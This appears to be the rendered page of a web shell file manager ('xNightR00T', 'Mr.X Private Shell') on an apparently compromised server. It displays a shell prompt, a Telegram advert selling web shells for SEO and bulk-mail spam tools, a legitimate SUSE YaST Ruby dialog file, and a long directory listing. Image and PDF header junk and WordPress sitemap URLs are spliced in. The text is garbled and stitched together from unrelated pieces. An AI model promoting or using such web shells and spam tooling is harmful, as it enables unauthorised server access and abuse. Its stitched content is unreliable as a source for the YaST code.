xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# ***************************************************************************
#
# Copyright (c) 2004 - 2012 Novell, Inc.
# All Rights Reserved.
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of version 2 of the GNU General Public License as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.   See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, contact Novell, Inc.
#
# To contact Novell about this file by physical or electronic mail,
# you may find current contact information at www.novell.com
#
# ***************************************************************************
# File:
#	ca_select_proposal.ycp
#
# Module:
#	ca_select_proposal.ycp
#
# Authors:
#	Stefan Schubert <schubi@suse.de>
#
# Summary:
#
#
# $Id$
#
module Yast
  class CaSelectProposalClient < Client
    def main
      Yast.import "UI"
      textdomain "ca-management"
      Yast.import "CaMgm"

      Yast.import "Mode"
      Yast.import "Wizard"
      Yast.import "Label"
      Yast.import "Popup"

      Yast.include self, "ca-management/popup.rb"
      Yast.include self, "ca-management/util.rb"



      # ----------------------------------------------------------------------
      # MAIN module
      # ----------------------------------------------------------------------
      Wizard.CreateDialog
      Wizard.SetDesktopIcon("ca_mgm")

      @heading = _("Managing CAs and Certificates")

      @contents = Frame(
        _("Selection"),
        RadioButtonGroup(
          Id(:rb),
          VBox(
            Left(
              RadioButton(
                Id(:def),
                Opt(:notify),
                _("Create &Default CA and Certificate")
              )
            ),
            HBox(
              HSpacing(3),
              Left(
                PushButton(
                  Id(:change),
                  Opt(:notify),
                  _("Edit Default &Settings")
                )
              )
            ),
            Left(
              RadioButton(
                Id(:none),
                Opt(:notify),
                _("Do &Not Create CA and Certificate")
              )
            ),
            Left(
              RadioButton(
                Id(:disk),
                Opt(:notify),
                _("Import CA and Certificate from D&isk")
              )
            )
          )
        )
      )

      @help_text = _(
        "<p>\n" +
          "In this frame, select the desired installation method for <b>CAs</b> and <b>certificates</b>\n" +
          "while completing the installation.\n" +
          "</p>\n"
      )

      @help_text = Ops.add(
        @help_text,
        _(
          "<p>\n" +
            "You also have the possibility of creating the default CA and certificate in the installed system \n" +
            "if you do not want to create or import it now.\n" +
            "</p>\n"
        )
      )

      # Screen title for the first interactive dialog
      Wizard.SetContentsButtons(
        @heading,
        @contents,
        @help_text,
        Label.BackButton,
        Label.NextButton
      )

      UI.ChangeWidget(Id(:rb), :CurrentButton, CaMgm.prop_selection)


      # Get the user input.
      #
      @ret = nil
      begin
        UI.ChangeWidget(
          Id(:change),
          :Enabled,
          UI.QueryWidget(Id(:rb), :CurrentButton) == :def
        )

        @ret = Wizard.UserInput

        if @ret == :next || @ret == :rb
          # Get selection
          #
          CaMgm.prop_selection = Convert.to_symbol(
            UI.QueryWidget(Id(:rb), :CurrentButton)
          )
        end
        if @ret == :change
          @ret = editDefaultEntries
          @ret = :again if @ret != :abort
        end
      end until @ret == :next || @ret == :abort || @ret == :back

      UI.CloseDialog

      Convert.to_symbol(@ret)
    end

    # Creates Country items
    # @return a list country items formated for a UI table
    def getPropCountryList
      result = []
      country_map = Convert.convert(
        Builtins.eval(SCR.Read(path(".target.yast2"), "country.ycp")),
        :from => "any",
        :to   => "map <string, string>"
      )

      country_index = Builtins.mapmap(country_map) { |k, v| { v => k } }

      name_list = Builtins.maplist(country_map) { |k, v| v }

      name_list = Builtins.sort(name_list)

      Builtins.foreach(name_list) do |name|
        result = Builtins.add(
          result,
          Item(
            Id(Ops.get(country_index, name, "")),
            name,
            CaMgm.prop_country == Ops.get(country_index, name, "")
          )
        )
      end
      deep_copy(result)
    end

    def editAltNames(initial_set)
      initial_set = deep_copy(initial_set)
      alt_dialog = HBox(
        VSpacing(10),
        VBox(
          HSpacing(10),
          RadioButtonGroup(
            Id(:rb),
            HBox(
              RadioButton(Id("URI"), Opt(:notify), "URI", true),
              RadioButton(Id("email"), Opt(:notify), "email"),
              RadioButton(Id("DNS"), Opt(:notify), "DNS"),
              RadioButton(Id("IP"), Opt(:notify), "IP"),
              RadioButton(Id("RID"), Opt(:notify), "RID"),
              RadioButton(Id("MS-UPN"), Opt(:notify), "MS-UPN"),
              RadioButton(Id("K5PN"), Opt(:notify), "K5PN")
            )
          ),
          TextEntry(Id(:name), _("&Name:")),
          # push button label
          HBox(
            PushButton(Id(:cancel), Opt(:key_F9), Label.CancelButton),
            HStretch(),
            PushButton(Id(:ok), Opt(:default, :key_F10), Label.OKButton)
          ),
          HSpacing(10)
        ),
        VSpacing(10)
      )
      UI.OpenDialog(
        VBox(
          Left(
            CheckBox(
              Id(:id_adv_cri_subject_alt_name),
              _("critical"),
              CaMgm.prop_adv_cri_issuer_alt_name
            )
          ),
          VSpacing(1.5),
          HBox(
            VSpacing(5),
            HWeight(
              3,
              Table(
                Id(:id_adv_subject_alt_name),
                Header(
                  # To translators: table headers
                  _("Kind"),
                  _("Name")
                )
              )
            ),
            HWeight(
              1,
              VBox(
                HBox(
                  HWeight(
                    1,
                    PushButton(Id(:add), Opt(:key_F3), Label.AddButton)
                  )
                ),
                HBox(
                  HWeight(
                    1,
                    PushButton(Id(:edit), Opt(:key_F3), Label.EditButton)
                  )
                ),
                HBox(
                  HWeight(
                    1,
                    PushButton(Id(:delete), Opt(:key_F5), Label.DeleteButton)
                  )
                ),
                VStretch()
              )
            )
          ),
          VSpacing(1.5),
          ButtonBox(
            PushButton(Id(:ok), Opt(:key_F10), Label.OKButton),
            PushButton(Id(:cancel), Opt(:key_F9, :default), Label.CancelButton)
          )
        )
      )
      ret = nil
      begin
        i = 0
        table_list = Builtins.maplist(initial_set) do |element|
          i = Ops.add(i, 1)
          Item(
            Id(i),
            Ops.get_string(element, "kind", ""),
            Ops.get_string(element, "name", "")
          )
        end
        UI.ChangeWidget(Id(:id_adv_subject_alt_name), :Items, table_list)
        ret = UI.UserInput
        if ret == :add || ret == :edit
          current_kind = ""
          current_name = ""
          if ret == :edit
            current_item = Convert.to_integer(
              UI.QueryWidget(Id(:id_adv_subject_alt_name), :CurrentItem)
            )
            table_item = Convert.to_term(
              UI.QueryWidget(
                Id(:id_adv_subject_alt_name),
                term(:Item, current_item)
              )
            )
            if table_item == nil
              Popup.Error(_("No item has been selected."))
              next
            end

            current_kind = Ops.get_string(table_item, 1, "")
            current_name = Ops.get_string(table_item, 2, "")
          end
          UI.OpenDialog(Opt(:decorated), alt_dialog)
          UI.SetFocus(Id(:ok))
          if ret == :edit
            UI.ChangeWidget(Id(:name), :Value, current_name)
            UI.ChangeWidget(Id(:rb), :CurrentButton, current_kind)
          end
          if !CaMgm.adv_subject_alt_name_show_email
            UI.ChangeWidget(Id("email"), :Enabled, false)
          else
            UI.ChangeWidget(Id("email"), :Enabled, true)
          end
          while true
            ret2 = UI.UserInput
            if ret2 == :ok
              new_entry = ret == :add ? {} : Builtins.find(initial_set) do |m|
                Ops.get_string(m, "kind", "") == current_kind &&
                  Ops.get_string(m, "name", "") == current_name
              end
              Ops.set(
                new_entry,
                "kind",
                Convert.to_string(UI.QueryWidget(Id(:rb), :CurrentButton))
              )
              Ops.set(
                new_entry,
                "name",
                Convert.to_string(UI.QueryWidget(Id(:name), :Value))
              )
              initial_set = Builtins.add(initial_set, new_entry) if ret == :add
              break
            elsif ret2 == :cancel
              break
            end
          end
          UI.CloseDialog
        elsif ret == :delete
          current_item = Convert.to_integer(
            UI.QueryWidget(Id(:id_adv_subject_alt_name), :CurrentItem)
          )
          table_item = Convert.to_term(
            UI.QueryWidget(
              Id(:id_adv_subject_alt_name),
              term(:Item, current_item)
            )
          )

          if table_item == nil
            Popup.Error(_("No item has been selected."))
            next
          end
          current_kind = Ops.get_string(table_item, 1, "")
          current_name = Ops.get_string(table_item, 2, "")

          if Popup.YesNoHeadline(
              # To translators: ContinueCancel Popup headline
              _("Delete"),
              # To translators: ContinueCancel Popup
              _("Really delete this entry?")
            )
            initial_set = Builtins.filter(initial_set) do |element|
              Ops.get_string(element, "kind", "") != current_kind ||
                Ops.get_string(element, "name", "") != current_name
            end
          end
        end
      end while ret != :ok && ret != :cancel
      ca_crit = Convert.to_boolean(
        UI.QueryWidget(Id(:id_adv_cri_subject_alt_name), :Value)
      )
      UI.CloseDialog
      ret == :ok ? [initial_set, ca_crit] : nil
    end


    # editDefaultEntries() - changing Entries
    # @return `next,`back,`abort
    def editDefaultEntries
      Wizard.CreateDialog
      Wizard.SetDesktopIcon("ca_mgm")
      help_text = _(
        "<p>\n" +
          "YaST generates a <b>default CA and certificate</b> automatically. This CA and certificate\n" +
          "is used for communicating with the <b>Apache server</b>.\n" +
          "Here, change these <b>default settings</b>.\n" +
          "</p>\n"
      )
      confirmPassword = CaMgm.prop_password

      contents = VBox(
        HBox(
          HWeight(
            1,
            TextEntry(Id(:id_CAName), _("&CA Name:"), CaMgm.prop_CAName)
          ),
          HSpacing(2),
          HWeight(
            1,
            TextEntry(
              Id(:id_commonName),
              _("&Common Name:"),
              CaMgm.prop_ca_commonName
            )
          )
        ),
        HBox(
          HWeight(
            1,
            TextEntry(
              Id(:id_serverName),
              _("&Server Name:"),
              CaMgm.prop_server_commonName
            )
          ),
          HSpacing(2),
          HWeight(
            1,
            ComboBox(
              Id(:id_country),
              Opt(:editable),
              _("C&ountry:"),
              getPropCountryList
            )
          )
        ),
        HBox(
          HWeight(
            1,
            TextEntry(
              Id(:id_organisation),
              _("O&rganization:"),
              CaMgm.prop_organisation
            )
          ),
          HSpacing(2),
          HWeight(
            1,
            TextEntry(
              Id(:id_organisationUnit),
              _("Or&ganizational Unit:"),
              CaMgm.prop_organisationUnit
            )
          )
        ),
        HBox(
          HWeight(
            1,
            TextEntry(Id(:id_locality), _("Loca&lity:"), CaMgm.prop_locality)
          ),
          HSpacing(2),
          HWeight(1, TextEntry(Id(:id_state), _("&State:"), CaMgm.prop_state))
        ),
        HBox(
          HWeight(
            1,
            Password(
              Id(:pw1),
              Opt(:hstretch),
              _("&Password:"),
              CaMgm.prop_password
            )
          ),
          HSpacing(2),
          HWeight(
            1,
            Password(
              Id(:pw2),
              Opt(:hstretch),
              _("Co&nfirm Password"),
              confirmPassword
            )
          )
        ),
        HBox(
          HWeight(1, TextEntry(Id(:email), _("E-Mail"), CaMgm.prop_email)),
          HSpacing(2),
          HWeight(1, PushButton(Id(:alt), _("&Edit Alternative Names")))
        )
      )

      # Screen title for the first interactive dialog
      Wizard.SetContentsButtons(
        _("Edit Default Settings"),
        contents,
        help_text,
        Label.BackButton,
        Label.NextButton
      )


      valid_chars = ",.:;#'+*~?][(){}/\u00A7&%$\"!@0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_- "
      UI.ChangeWidget(Id(:id_commonName), :ValidChars, valid_chars)
      UI.ChangeWidget(Id(:id_organisation), :ValidChars, valid_chars)
      UI.ChangeWidget(Id(:id_organisationUnit), :ValidChars, valid_chars)
      UI.ChangeWidget(Id(:id_locality), :ValidChars, valid_chars)
      UI.ChangeWidget(Id(:id_state), :ValidChars, valid_chars)
      Builtins.y2milestone("%1", valid_chars)
      UI.ChangeWidget(
        Id(:id_CAName),
        :ValidChars,
        "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-"
      )

      # Get the user input.
      #
      ret = nil
      temp_alt_names = deep_copy(CaMgm.prop_subject_alt_name_list)
      temp_cri_alt = CaMgm.prop_adv_cri_issuer_alt_name
      begin
        ret = Wizard.UserInput

        if ret == :alt
          new_alt_names = editAltNames(temp_alt_names)
          if new_alt_names != nil
            temp_alt_names = Convert.convert(
              Ops.get(Convert.to_list(new_alt_names), 0, temp_alt_names),
              :from => "any",
              :to   => "list <map>"
            )
          end
          temp_cri_alt = Ops.get_boolean(
            Convert.to_list(new_alt_names),
            1,
            temp_cri_alt
          )
        elsif ret == :next || ret == :back
          confirmPassword = Convert.to_string(UI.QueryWidget(Id(:pw2), :Value))
          if Convert.to_string(UI.QueryWidget(Id(:pw1), :Value)) != confirmPassword
            Popup.Error(_("New passwords do not match."))
            ret = :again
          elsif Ops.less_than(Builtins.size(confirmPassword), 4)
            Popup.Error(
              _("Password length should be greater than three characters.")
            )
            ret = :again
          else
            if CaMgm.prop_ca_commonName !=
                Convert.to_string(UI.QueryWidget(Id(:id_commonName), :Value))
              CaMgm.prop_ca_commonName = Convert.to_string(
                UI.QueryWidget(Id(:id_commonName), :Value)
              )
              CaMgm.prop_ca_commonNameChanged = true
            end
            if CaMgm.prop_server_commonName !=
                Convert.to_string(UI.QueryWidget(Id(:id_serverName), :Value))
              CaMgm.prop_server_commonName = Convert.to_string(
                UI.QueryWidget(Id(:id_serverName), :Value)
              )
              CaMgm.prop_server_commonNameChanged = true
            end
            if CaMgm.prop_CAName !=
                Convert.to_string(UI.QueryWidget(Id(:id_CAName), :Value))
              CaMgm.prop_CAName = Convert.to_string(
                UI.QueryWidget(Id(:id_CAName), :Value)
              )
              CaMgm.prop_CANameChanged = true
            end
            if CaMgm.prop_password !=
                Convert.to_string(UI.QueryWidget(Id(:pw1), :Value))
              CaMgm.prop_password = Convert.to_string(
                UI.QueryWidget(Id(:pw1), :Value)
              )
              CaMgm.prop_passwordChanged = true
            end
            if CaMgm.prop_country !=
                Convert.to_string(UI.QueryWidget(Id(:id_country), :Value))
              CaMgm.prop_country = Convert.to_string(
                UI.QueryWidget(Id(:id_country), :Value)
              )
              CaMgm.prop_countryChanged = true
            end
            if CaMgm.prop_email !=
                Convert.to_string(UI.QueryWidget(Id(:email), :Value))
              if check_mail_address(
                  Convert.to_string(UI.QueryWidget(Id(:email), :Value))
                )
                CaMgm.prop_email = Convert.to_string(
                  UI.QueryWidget(Id(:email), :Value)
                )
                CaMgm.prop_emailChanged = true
              else
                Popup.Error(_("Invalid e-mail format."))
                ret = :again
              end
            end

            CaMgm.prop_organisation = Convert.to_string(
              UI.QueryWidget(Id(:id_organisation), :Value)
            )
            CaMgm.prop_organisationUnit = Convert.to_string(
              UI.QueryWidget(Id(:id_organisationUnit), :Value)
            )
            CaMgm.prop_locality = Convert.to_string(
              UI.QueryWidget(Id(:id_locality), :Value)
            )
            CaMgm.prop_state = Convert.to_string(
              UI.QueryWidget(Id(:id_state), :Value)
            )
            CaMgm.prop_subject_alt_name_list = deep_copy(temp_alt_names)
            CaMgm.prop_adv_cri_issuer_alt_name = temp_cri_alt
            Builtins.y2milestone(
              "alt names %1",
              CaMgm.prop_subject_alt_name_list
            )
          end
        end
      end until ret == :next || ret == :abort || ret == :back

      UI.CloseDialog
      deep_copy(ret)
    end
  end
end

Yast::CaSelectProposalClient.new.main

Filemanager

Name Type Size Permission Actions
OneClickInstallCLI.rb File 6.29 KB 0644
OneClickInstallUI.rb File 20.1 KB 0644
OneClickInstallUrlHandler.rb File 637 B 0644
OneClickInstallWorker.rb File 5.53 KB 0644
add-on.rb File 4.81 KB 0644
add-on_auto.rb File 10.01 KB 0644
add-on_proposal.rb File 2.42 KB 0644
add_inst_source_slptype.rb File 918 B 0644
audit-laf.rb File 11.39 KB 0644
audit-laf_auto.rb File 3.95 KB 0644
audit-laf_proposal.rb File 3.41 KB 0644
auth-client.rb File 1.07 KB 0644
auth-client_auto.rb File 1013 B 0644
auth-server.rb File 7.89 KB 0644
auth-server_auto.rb File 3.02 KB 0644
auth-server_proposal.rb File 12.25 KB 0644
auth.rb File 1.15 KB 0644
autoinst_scripts1_finish.rb File 1.55 KB 0644
autoinst_scripts2_finish.rb File 2.17 KB 0644
autoinst_test_clone.rb File 1017 B 0644
autoinst_test_stage.rb File 1.53 KB 0644
autoyast.rb File 4.09 KB 0644
ayast_probe.rb File 3.29 KB 0644
ayast_setup.rb File 4.76 KB 0644
backup_proposal.rb File 3.61 KB 0644
bootloader.rb File 1.13 KB 0644
bootloader_auto.rb File 63 B 0644
bootloader_finish.rb File 65 B 0644
bootloader_proposal.rb File 71 B 0644
ca-mgm.rb File 1.16 KB 0644
ca_mgm.rb File 7.43 KB 0644
ca_mgm_auto.rb File 37.21 KB 0644
ca_mgm_proposal.rb File 16.46 KB 0644
ca_select_proposal.rb File 18.54 KB 0644
cd_update.rb File 1.13 KB 0644
checkmedia.rb File 1.13 KB 0644
cio_ignore_finish.rb File 92 B 0644
cio_ignore_proposal.rb File 94 B 0644
classes_auto.rb File 2.07 KB 0644
clone_system.rb File 4.33 KB 0644
common-cert.rb File 1.18 KB 0644
common_cert.rb File 6.85 KB 0644
complete_workflow.rb File 1.38 KB 0644
copy_files_finish.rb File 86 B 0644
copy_logs_finish.rb File 76 B 0644
copy_systemfiles_finish.rb File 98 B 0644
country_simple_proposal.rb File 3.29 KB 0644
default_target_finish.rb File 1.16 KB 0644
default_target_proposal.rb File 8.72 KB 0644
deploy_image_auto.rb File 86 B 0644
deploying_proposal.rb File 89 B 0644
desktop_finish.rb File 81 B 0644
dhcp-server.rb File 1.14 KB 0644
dhcp-server_auto.rb File 4.68 KB 0644
discover_registration_services.rb File 1.03 KB 0644
disintegrate_all_extensions.rb File 106 B 0644
disk.rb File 2.91 KB 0644
disk_worker.rb File 4.06 KB 0644
dns-server.rb File 1.1 KB 0644
dns-server_auto.rb File 2.89 KB 0644
dns.rb File 8.35 KB 0644
dns_auto.rb File 3.37 KB 0644
do_not_show_again_editor.rb File 3.49 KB 0644
do_online_update_auto.rb File 3.27 KB 0644
driver_update1_finish.rb File 94 B 0644
driver_update2_finish.rb File 94 B 0644
files_auto.rb File 10.82 KB 0644
firewall.rb File 3.15 KB 0644
firewall_auto.rb File 4.15 KB 0644
firewall_proposal.rb File 9.86 KB 0644
firewall_stage1_finish.rb File 5.71 KB 0644
firewall_stage1_proposal.rb File 16.24 KB 0644
ftp-server.rb File 40.97 KB 0644
ftp-server_auto.rb File 3.56 KB 0644
general_auto.rb File 1.83 KB 0644
groups.rb File 9.29 KB 0644
host.rb File 3.32 KB 0644
host_auto.rb File 4.33 KB 0644
http-server.rb File 18.42 KB 0644
http-server_auto.rb File 3.1 KB 0644
inetd.rb File 13.52 KB 0644
inetd_auto.rb File 4.63 KB 0644
inetd_proposal.rb File 3.07 KB 0644
inst_add-on.rb File 5 KB 0644
inst_add-on_software.rb File 3.3 KB 0644
inst_addon_update_sources.rb File 101 B 0644
inst_ask_online_update.rb File 95 B 0644
inst_autoconfigure.rb File 19.7 KB 0644
inst_autoimage.rb File 1.85 KB 0644
inst_autoinit.rb File 6.47 KB 0644
inst_autopost.rb File 8.47 KB 0644
inst_autosetup.rb File 17.36 KB 0644
inst_autosetup_upgrade.rb File 17.05 KB 0644
inst_backup.rb File 7.77 KB 0644
inst_bootloader.rb File 1.18 KB 0644
inst_check_autoinst_mode.rb File 99 B 0644
inst_check_memsize.rb File 658 B 0644
inst_checkmedia.rb File 3.31 KB 0644
inst_complex_welcome.rb File 92 B 0644
inst_congratulate.rb File 87 B 0644
inst_custom_packages.rb File 2.91 KB 0644
inst_custom_part.rb File 1.17 KB 0644
inst_custom_patterns.rb File 94 B 0644
inst_deploy_image.rb File 86 B 0644
inst_desktop_roles.rb File 98 B 0644
inst_disk.rb File 2.55 KB 0644
inst_disk_for_image.rb File 89 B 0644
inst_disk_proposal.rb File 12.58 KB 0644
inst_disks_activate.rb File 90 B 0644
inst_do_net_test.rb File 28.83 KB 0644
inst_doit.rb File 71 B 0644
inst_download_release_notes.rb File 105 B 0644
inst_extrasources.rb File 87 B 0644
inst_features.rb File 79 B 0644
inst_finish.rb File 75 B 0644
inst_info.rb File 71 B 0644
inst_initialization.rb File 91 B 0644
inst_install_inf.rb File 85 B 0644
inst_installation_options.rb File 87 B 0644
inst_instsys_cleanup.rb File 99 B 0644
inst_iscsi-client.rb File 3.46 KB 0644
inst_keyboard_root_password.rb File 108 B 0644
inst_kickoff.rb File 19.83 KB 0644
inst_lan.rb File 2.24 KB 0644
inst_language.rb File 1.36 KB 0644
inst_language_add-on.rb File 12.54 KB 0644
inst_license.rb File 77 B 0644
inst_mediacopy.rb File 4.17 KB 0644
inst_network_check.rb File 88 B 0644
inst_pre_install.rb File 84 B 0644
inst_prepare_image.rb File 88 B 0644
inst_prepareprogress.rb File 93 B 0644
inst_prepdisk.rb File 5.8 KB 0644
inst_productsources.rb File 50.93 KB 0644
inst_proposal.rb File 1008 B 0644
inst_release_notes.rb File 88 B 0644
inst_resize_dialog.rb File 17.82 KB 0644
inst_resize_ui.rb File 30.46 KB 0644
inst_restore_settings.rb File 94 B 0644
inst_root_first.rb File 1007 B 0644
inst_rootpart.rb File 1.57 KB 0644
inst_rpmcopy.rb File 18.49 KB 0644
inst_rpmcopy_secondstage.rb File 100 B 0644
inst_save_hardware_status.rb File 101 B 0644
inst_scc.rb File 10.61 KB 0644
inst_scenarios.rb File 81 B 0644
inst_setup_dhcp.rb File 73 B 0644
inst_ssh_import.rb File 843 B 0644
inst_store_upgrade_software.rb File 3.98 KB 0644
inst_sw_select.rb File 1.77 KB 0644
inst_system_analysis.rb File 92 B 0644
inst_system_role.rb File 81 B 0644
inst_target_part.rb File 17.41 KB 0644
inst_target_selection.rb File 11.7 KB 0644
inst_test_workflow.rb File 949 B 0644
inst_timezone.rb File 2.36 KB 0644
inst_update.rb File 8.52 KB 0644
inst_update_installer.rb File 732 B 0644
inst_update_partition.rb File 1.86 KB 0644
inst_update_partition_auto.rb File 1.27 KB 0644
inst_upgrade_urls.rb File 86 B 0644
inst_user_first.rb File 1007 B 0644
inst_welcome.rb File 77 B 0644
inst_worker_continue.rb File 92 B 0644
inst_worker_initial.rb File 90 B 0644
inst_you.rb File 11.74 KB 0644
installation.rb File 78 B 0644
installation_settings_finish.rb File 108 B 0644
instserver.rb File 1.44 KB 0644
iscsi-client.rb File 3.1 KB 0644
iscsi-client_auto.rb File 4.1 KB 0644
iscsi-client_finish.rb File 3.46 KB 0644
iscsi-client_proposal.rb File 3.51 KB 0644
isns.rb File 2.13 KB 0644
isns_auto.rb File 2.96 KB 0644
isns_finish.rb File 1.9 KB 0644
isns_proposal.rb File 2.59 KB 0644
kdump.rb File 41.7 KB 0644
kdump_auto.rb File 2.66 KB 0644
kdump_finish.rb File 62 B 0644
kdump_proposal.rb File 3.11 KB 0644
kernel_finish.rb File 79 B 0644
key_manager.rb File 2.29 KB 0644
keyboard.rb File 5.48 KB 0644
keyboard_auto.rb File 3.16 KB 0644
keyboard_proposal.rb File 3 KB 0644
keyboard_simple_proposal.rb File 1.41 KB 0644
lan.rb File 6.23 KB 0644
lan_auto.rb File 12.98 KB 0644
language.rb File 9.12 KB 0644
language_auto.rb File 3.11 KB 0644
language_proposal.rb File 4.14 KB 0644
language_simple_proposal.rb File 1.6 KB 0644
ldap_browser.rb File 23.65 KB 0644
ldap_config.rb File 1.93 KB 0644
ldapkrb.rb File 1.1 KB 0644
ldconfig_finish.rb File 83 B 0644
mail.rb File 2.87 KB 0644
mail_auto.rb File 3.12 KB 0644
media_proposal.rb File 2.51 KB 0644
menu.rb File 12.75 KB 0644
migration.rb File 65 B 0644
migration_finish.rb File 732 B 0644
migration_proposal.rb File 715 B 0644
migration_proposals.rb File 1.19 KB 0644
migration_repos.rb File 730 B 0644
multipath-simple.rb File 1.21 KB 0644
network.rb File 4.3 KB 0644
network_finish.rb File 81 B 0644
network_proposal.rb File 69 B 0644
nfs-client.rb File 231 B 0644
nfs-client4part.rb File 2.63 KB 0644
nfs-server.rb File 277 B 0644
nfs.rb File 10.04 KB 0644
nfs_auto.rb File 2.54 KB 0644
nfs_server.rb File 9.59 KB 0644
nfs_server_auto.rb File 2.67 KB 0644
nis-client.rb File 1.16 KB 0644
nis-server.rb File 1.16 KB 0644
nis.rb File 7.99 KB 0644
nis_auto.rb File 3.05 KB 0644
nis_server.rb File 12.72 KB 0644
nis_server_auto.rb File 3.82 KB 0644
ntp-client.rb File 1.24 KB 0644
ntp-client_auto.rb File 3.92 KB 0644
ntp-client_finish.rb File 2.43 KB 0644
ntp-client_proposal.rb File 14.53 KB 0644
online_update.rb File 12.58 KB 0644
online_update_install.rb File 4.93 KB 0644
online_update_select.rb File 12.06 KB 0644
openldap-mirrormode.rb File 1.57 KB 0644
other_tools_warning.rb File 1.85 KB 0644
packages_proposal.rb File 7.64 KB 0644
partitions_proposal.rb File 8.99 KB 0644
pkg_finish.rb File 216 B 0644
pre_umount_finish.rb File 86 B 0644
prep_shrink_finish.rb File 94 B 0644
printer.rb File 3.03 KB 0644
printer_auto.rb File 17.76 KB 0644
printer_proposal.rb File 21.77 KB 0644
proxy.rb File 66 B 0644
proxy_auto.rb File 75 B 0644
proxy_finish.rb File 77 B 0644
registration.rb File 3.04 KB 0644
registration_sync.rb File 734 B 0644
relocation-server.rb File 3.45 KB 0644
remote.rb File 4.51 KB 0644
remote_finish.rb File 900 B 0644
remote_proposal.rb File 3.01 KB 0644
report_auto.rb File 7.94 KB 0644
repositories.rb File 308 B 0644
roles_finish.rb File 86 B 0644
rootpart_check_keyboard.rb File 1.63 KB 0644
rootpart_proposal.rb File 4.83 KB 0644
routing.rb File 12.82 KB 0644
routing_auto.rb File 3.39 KB 0644
samba-client.rb File 9.59 KB 0644
samba-client_auto.rb File 4.02 KB 0644
save_config_finish.rb File 88 B 0644
save_hw_status_finish.rb File 93 B 0644
save_network.rb File 9.33 KB 0644
scc.rb File 3.04 KB 0644
scc_auto.rb File 10.93 KB 0644
scc_finish.rb File 92 B 0644
scripts_auto.rb File 1.87 KB 0644
security.rb File 8.23 KB 0644
security_auto.rb File 4.25 KB 0644
security_summary.rb File 1.76 KB 0644
select_language.rb File 22.52 KB 0644
select_slp_source.rb File 432 B 0644
services-manager.rb File 7.25 KB 0644
services-manager_auto.rb File 1.13 KB 0644
services-manager_finish.rb File 117 B 0644
services.rb File 7.25 KB 0644
services_finish.rb File 92 B 0644
services_proposal.rb File 10.74 KB 0644
snapper.rb File 1.86 KB 0644
snapshots_finish.rb File 77 B 0644
software_auto.rb File 8.08 KB 0644
software_proposal.rb File 82 B 0644
software_simple_proposal.rb File 2.06 KB 0644
squid.rb File 3.86 KB 0644
squid_auto.rb File 3.89 KB 0644
ssh_import_auto.rb File 88 B 0644
ssh_import_proposal.rb File 85 B 0644
ssh_settings_finish.rb File 90 B 0644
storage.rb File 949 B 0644
storage_auto.rb File 2.49 KB 0644
storage_finish.rb File 3.04 KB 0644
stroj-casu.rb File 73 B 0644
sudo.rb File 2.6 KB 0644
support.rb File 3.12 KB 0644
support_auto.rb File 3.94 KB 0644
support_proposal.rb File 3.43 KB 0644
sw_single.rb File 26.4 KB 0644
switch_scr_finish.rb File 86 B 0644
sysconfig.rb File 4.36 KB 0644
sysconfig_auto.rb File 2.19 KB 0644
test_inst_client.rb File 84 B 0644
test_proposal.rb File 79 B 0644
tftp-server.rb File 4.33 KB 0644
tftp-server_auto.rb File 2.82 KB 0644
timezone.rb File 6.64 KB 0644
timezone_auto.rb File 2.82 KB 0644
timezone_proposal.rb File 2.67 KB 0644
umount_finish.rb File 79 B 0644
update_proposal.rb File 18.74 KB 0644
update_wizard_steps.rb File 90 B 0644
users.rb File 10.97 KB 0644
users_auto.rb File 5.54 KB 0644
users_encryption_method.rb File 1012 B 0644
users_encryption_proposal.rb File 819 B 0644
users_finish.rb File 1.2 KB 0644
users_plugin_ldap_all.rb File 11.17 KB 0644
users_plugin_ldap_passwordpolicy.rb File 7.03 KB 0644
users_plugin_ldap_shadowaccount.rb File 10.53 KB 0644
users_plugin_quota.rb File 18.49 KB 0644
users_proposal.rb File 1.08 KB 0644
vendor.rb File 10.32 KB 0644
view_anymsg.rb File 8.08 KB 0644
virtualization.rb File 3.02 KB 0644
vm_finish.rb File 4.69 KB 0644
vpn.rb File 1008 B 0644
vpn_auto.rb File 950 B 0644
wol.rb File 6.59 KB 0644
wrapper_slideshow_callbacks.rb File 1.27 KB 0644
wrapper_storage.rb File 1.96 KB 0644
x11_finish.rb File 73 B 0644
xinetd.rb File 1.15 KB 0644
yast_inf_finish.rb File 82 B 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml